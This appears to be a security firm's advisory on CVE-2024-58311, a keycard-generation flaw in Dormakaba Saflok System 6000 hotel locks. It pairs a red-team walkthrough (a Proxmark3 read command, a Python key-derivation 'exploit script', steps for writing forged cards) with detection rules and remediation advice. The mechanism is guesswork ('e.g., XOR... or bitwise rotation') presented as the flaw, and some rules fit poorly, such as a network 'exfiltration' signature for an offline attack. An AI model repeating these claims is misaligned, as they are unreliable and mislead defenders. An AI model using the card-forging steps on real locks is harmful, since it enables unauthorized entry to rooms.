CVE-2024-58311

Executive Summary

CVE-2024-58311 exposes a critical cryptographic weakness in the Dormakaba Saflok System 6000, a widely deployed electronic locking system used in hotels and commercial facilities. The vulnerability stems from a predictable key generation algorithm that derives card access keys from a 32-bit unique identifier (UID) using a simple mathematical transformation. An attacker with physical access to a single valid keycard can reverse-engineer the algorithm and generate valid keys for any room in the facility, bypassing all access control mechanisms.

This vulnerability is particularly severe because it undermines the foundational security of the entire Saflok ecosystem. The lack of a vendor patch means that all installations remain vulnerable indefinitely. The attack requires physical proximity to a keycard but no network access, making it a high-impact physical security threat.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level cryptographic flaw in a physical access control system. No supply chain package remediation is applicable.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 8.1 (High)

Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: High. The vulnerability enables unauthorized physical access to secured areas, bypassing all access control. The lack of a patch means all systems are permanently at risk.

Deep Dive & Mechanics

The Dormakaba Saflok System 6000 uses a proprietary key generation algorithm to create access keys for magnetic stripe or RFID cards. The algorithm is deterministic and based on a 32-bit unique identifier (UID) stored on each card. The key generation process follows this pattern:

1. Card UID Extraction: The lock reads the 32-bit UID from the card.
2. Mathematical Transformation: The UID is processed through a simple, reversible mathematical function (e.g., XOR with a fixed constant, modular addition, or bitwise rotation).
3. Key Derivation: The transformed value is used directly as the access key for the lock.

The critical flaw is that the transformation is not cryptographically secure. It does not use a secret key, salt, or any form of encryption. An attacker who obtains a single valid card can:

• Extract the UID (visible on the card or readable with a standard RFID reader).
• Reverse the transformation to recover the algorithm's parameters.
• Generate valid keys for any other UID (i.e., any other room).

For example, if the transformation is key = UID XOR 0xDEADBEEF, an attacker with one card can compute the constant and then generate keys for all other UIDs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def generate_key(uid_32bit):
    # Simple XOR with a fixed constant
    constant = 0xDEADBEEF
    key = uid_32bit ^ constant
    return key

Patched Code (Conceptual - Not Provided by Vendor):

import hmac
import hashlib

def generate_key(uid_32bit, master_secret):
    # Use HMAC-SHA256 with a secret master key
    uid_bytes = uid_32bit.to_bytes(4, 'big')
    key = hmac.new(master_secret, uid_bytes, hashlib.sha256).digest()
    return key[:8]  # Truncate to required key length

The patched version uses a cryptographically secure HMAC with a secret master key, making it impossible to derive keys without knowing the secret. The vendor has not released any patch, so all systems remain vulnerable.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Derive the key generation algorithm and create a master key for all rooms.

Prerequisites:

• One valid keycard for any room.
• A standard RFID reader (e.g., Proxmark3, ACR122U) or a magnetic stripe reader.
• A computer with Python.

Steps:

1. Extract UID: Read the card's UID using the RFID reader.

   # Example using Proxmark3
   hf mf rdbl 0 A FFFFFFFFFFFF
   

2. Obtain Access Key: Use the card to open a lock and record the key data (if possible via lock diagnostics) or assume the key is derived from the UID.

3. Reverse Algorithm: Collect multiple UID-key pairs (from different cards) and analyze the relationship. For a simple XOR, this is trivial:

   uid1 = 0x12345678
   key1 = 0xABCDEF01
   constant = uid1 ^ key1  # 0x12345678 ^ 0xABCDEF01 = 0xB9F9B979
   

4. Generate Keys: For any target UID, compute the key:

   target_uid = 0x87654321
   target_key = target_uid ^ constant
   

5. Write Key to Blank Card: Use the RFID writer to program a blank card with the derived key.

Exploit Script (Python):

#!/usr/bin/env python3
import sys

def derive_constant(known_uid, known_key):
    return known_uid ^ known_key

def generate_key(target_uid, constant):
    return target_uid ^ constant

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: exploit.py <known_uid> <known_key> <target_uid>")
        sys.exit(1)
    known_uid = int(sys.argv[1], 16)
    known_key = int(sys.argv[2], 16)
    target_uid = int(sys.argv[3], 16)
    constant = derive_constant(known_uid, known_key)
    target_key = generate_key(target_uid, constant)
    print(f"Derived constant: {constant:#010x}")
    print(f"Target key: {target_key:#010x}")

Blue Team (Defender)

Objective: Detect and mitigate exploitation attempts.

Detection:

• Monitor for unusual card programming activity (e.g., multiple blank cards being written in a short time).
• Audit lock logs for repeated failed access attempts followed by successful access with different cards.
• Implement physical security controls: restrict access to RFID writers, monitor card issuance.

Mitigation:

• Immediate: Replace all Saflok System 6000 locks with a patched or alternative system. Since no patch exists, this is the only effective mitigation.
• Compensating Controls: Use additional physical security measures (e.g., CCTV, guards) to monitor access points.
• Long-term: Advocate for vendor to release a firmware update that uses cryptographically secure key generation.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_Saflok_Key_Generation_Script {
    meta:
        description = "Detects Python scripts used to derive Saflok System 6000 keys"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-58311"
    strings:
        $xor_operation = " ^ " ascii
        $uid_variable = "uid" ascii
        $key_variable = "key" ascii
        $derive_function = "derive_constant" ascii
        $generate_function = "generate_key" ascii
    condition:
        all of them
}

Sigma Rule

title: Saflok Key Generation Script Execution
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of Python scripts that derive Saflok System 6000 keys
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains:
            - 'derive_constant'
            - 'generate_key'
            - 'saflok'
    condition: selection
falsepositives:
    - Legitimate security research
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58311 Saflok Key Generation Data Exfiltration";
    flow:to_server,established;
    content:"uid"; distance:0; within:10;
    content:"key"; distance:0; within:10;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Replace Hardware: Since no patch exists, the only definitive remediation is to replace all Saflok System 6000 locks with a cryptographically secure alternative.
2. Physical Security: Increase physical security measures (guards, CCTV) at all access points.
3. Card Audit: Audit all issued keycards and revoke any that appear suspicious.

Long-term Actions:

1. Vendor Pressure: Demand that Dormakaba release a firmware update with secure key generation (e.g., using HMAC with a secret master key).
2. Architecture Review: Implement a defense-in-depth approach where electronic locks are supplemented with mechanical locks or biometric authentication.
3. Monitoring: Deploy continuous monitoring of lock logs for anomalous patterns.

Workarounds (Temporary):

• Disable remote key programming and require in-person verification for all card issuances.
• Use tamper-evident seals on locks to detect physical tampering.

Valters IT
Securing Digital Frontiers